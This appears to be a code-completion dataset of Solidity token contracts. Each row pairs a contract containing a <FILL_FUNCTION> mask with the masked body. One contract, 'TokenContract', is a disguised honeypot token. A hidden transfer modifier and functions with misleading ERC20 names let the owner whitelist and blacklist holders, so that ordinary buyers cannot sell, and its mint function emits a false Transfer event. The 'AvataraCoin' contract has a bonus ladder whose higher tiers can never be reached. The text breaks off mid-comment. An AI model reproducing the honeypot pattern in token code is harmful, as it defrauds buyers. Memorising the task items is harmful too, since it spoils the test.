_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(300).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract PugInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pug Inu';
string private _symbol = 'PUG';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
<FILL_FUNCTION>
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(300).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
| function balanceOf(address account) public view override returns (uint256) | function balanceOf(address account) public view override returns (uint256) |
76867 | Avatar | transfer | contract Avatar is MintableToken {
string public constant name = "AvataraCoin";
string public constant symbol = "VTR";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 100000;
uint256 public constant hardCap = 30000 ether;
uint256 public weiFounded = 0;
address public approvedUser = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213;
address public wallet = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213;
uint64 public dateStart = 1520348400;
bool public icoFinished = false;
uint256 public constant maxTokenToBuy = 4392000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Modifier to make a function callable only when the transfer is enabled.
*/
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
/**
* @dev Function to stop transfering tokens.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
icoFinished = true;
return true;
}
modifier canBuyTokens() {
require(!icoFinished && weiFounded <= hardCap);
_;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value >= 100 finney);
uint256 weiAmount = msg.value;
uint256 bonus = 0;
uint256 totalWei = weiAmount.add(weiFounded);
if(weiAmount >= 100 finney){
bonus = 5;
}else if (weiAmount >= 300 finney){
bonus = 20;
}else if (weiAmount >= 500 finney){
bonus = 30;
}else if (weiAmount >= 1 ether){
bonus = 42;
}else if (weiAmount >= 1500 finney){
bonus = 45;
}else if (weiAmount >= 3 ether){
bonus = 51;
}else if (weiAmount >= 6 ether){
bonus = 60;
}else if (weiAmount >= 15 ether){
bonus = 70;
}else if (weiAmount >= 330 ether){
bonus = 75;
}
uint256 tokens = weiAmount.mul(rate);
if(bonus > 0){
tokens += tokens.mul(bonus).div(100);
}
require(totalSupply.add(tokens) <= maxTokenToBuy);
mintInternal(beneficiary, tokens);
weiFounded = totalWei;
TokenPurchase(msg.sender, beneficiary, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
} | contract Avatar is MintableToken {
string public constant name = "AvataraCoin";
string public constant symbol = "VTR";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 100000;
uint256 public constant hardCap = 30000 ether;
uint256 public weiFounded = 0;
address public approvedUser = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213;
address public wallet = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213;
uint64 public dateStart = 1520348400;
bool public icoFinished = false;
uint256 public constant maxTokenToBuy = 4392000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
<FILL_FUNCTION>
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Modifier to make a function callable only when the transfer is enabled.
*/
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
/**
* @dev Function to stop transfering tokens.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
icoFinished = true;
return true;
}
modifier canBuyTokens() {
require(!icoFinished && weiFounded <= hardCap);
_;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value >= 100 finney);
uint256 weiAmount = msg.value;
uint256 bonus = 0;
uint256 totalWei = weiAmount.add(weiFounded);
if(weiAmount >= 100 finney){
bonus = 5;
}else if (weiAmount >= 300 finney){
bonus = 20;
}else if (weiAmount >= 500 finney){
bonus = 30;
}else if (weiAmount >= 1 ether){
bonus = 42;
}else if (weiAmount >= 1500 finney){
bonus = 45;
}else if (weiAmount >= 3 ether){
bonus = 51;
}else if (weiAmount >= 6 ether){
bonus = 60;
}else if (weiAmount >= 15 ether){
bonus = 70;
}else if (weiAmount >= 330 ether){
bonus = 75;
}
uint256 tokens = weiAmount.mul(rate);
if(bonus > 0){
tokens += tokens.mul(bonus).div(100);
}
require(totalSupply.add(tokens) <= maxTokenToBuy);
mintInternal(beneficiary, tokens);
weiFounded = totalWei;
TokenPurchase(msg.sender, beneficiary, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
} |
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
| function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) |
20719 | TokenContract | _approveCheck | contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
_mint(0x382bfDCb76071a990922bEcBe32b77E84fE1Adaa, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {<FILL_FUNCTION_BODY> }
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
_mint(0x382bfDCb76071a990922bEcBe32b77E84fE1Adaa, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
